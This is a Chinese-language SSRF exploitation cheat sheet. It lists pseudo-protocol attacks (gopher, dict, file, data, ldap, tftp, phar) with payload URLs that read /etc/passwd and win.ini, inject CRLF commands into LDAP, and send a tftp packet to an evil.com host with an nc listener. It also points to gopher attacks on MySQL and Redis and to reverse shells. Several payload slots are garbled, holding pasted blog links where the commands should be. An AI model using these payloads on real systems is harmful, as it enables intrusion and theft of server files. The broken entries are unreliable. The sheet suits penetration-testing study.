SSRF利用


 

ID

技术

场景

过程

相关链接

关联武器库

 
S1 判断是否存在SSRF   url格式类似:http://allods.my.com/index.php?form=https://example.com/yourimage.jpg,则可能存在SSRF。      
S2



SSRF伪协议利用总结




gopher伪协议

可以扫描内网、反弹shell

gopher 协议的格式:gopher://+ip:端口+/+_ + TCP/IP 数据
gopher 协议默认端口为 70


gopher协议使用方法:

get请求转化为gopher:

post请求转换为gopher:

gopher协议实际利用:

利用gopher攻击mysql:

协议转化:https://github.com/tarunkant/Gopherus)

利用gopher攻击redis:

利用gopher反弹shell:curl -vvv 'https://www.jianshu.com/p/0a8339fcc269

https://blog.chaitin.cn/gopher-attack-surfaces/

get/post转化为gopher:

https://zhuanlan.zhihu.com/p/112055947

gopher攻击mysql:

https://www.heibai.org/post/1740.html 

https://www.bilibili.com/read/cv5658114/

 

S3

dict伪协议

可以扫描内网、反弹shell

dict协议格式: dict://@:/d: (dict://+ip:端口+/+TCP/IP 数据) 

利用dict协议扫描端口、获取内网信息:

ssrf.php?url=http://www.cxyzjd.com/article/weixin_35431719/114470730

   
S4 file:// 访问文件

用于访问本地文件系统,不受allow_url_fopen与allow_url_include的影响

从文件系统中获取文件:http://safebuff.com/redirect.php?url=file:///etc/passwd

读取本地文件:curl http://example.com/ssrf.php?file=compress.http://example.com/ssrf.php?url=file:///etc/passwd 

http://example.com/ssrf.php?url=file:///C:/Windows/win.ini

http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt

     

S5

data://

data://:需满足allow_url_fopen,allow_url_include同时开启才能使用。

利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()函数:

http://127.0.0.1/include?page=https://www.jianshu.com/p/0a8339fcc269

   
S8 sftp://
ldap://
tftp://

http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit

http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3

   
S9 phar://可导致反序列化漏洞

直接利用:payload:un.php?filename=https://blog.szfszf.top/article/17/

https://eviladan0s.github.io/2020/03/14/php_phar/

https://xz.aliyun.com/t/6699#toc-3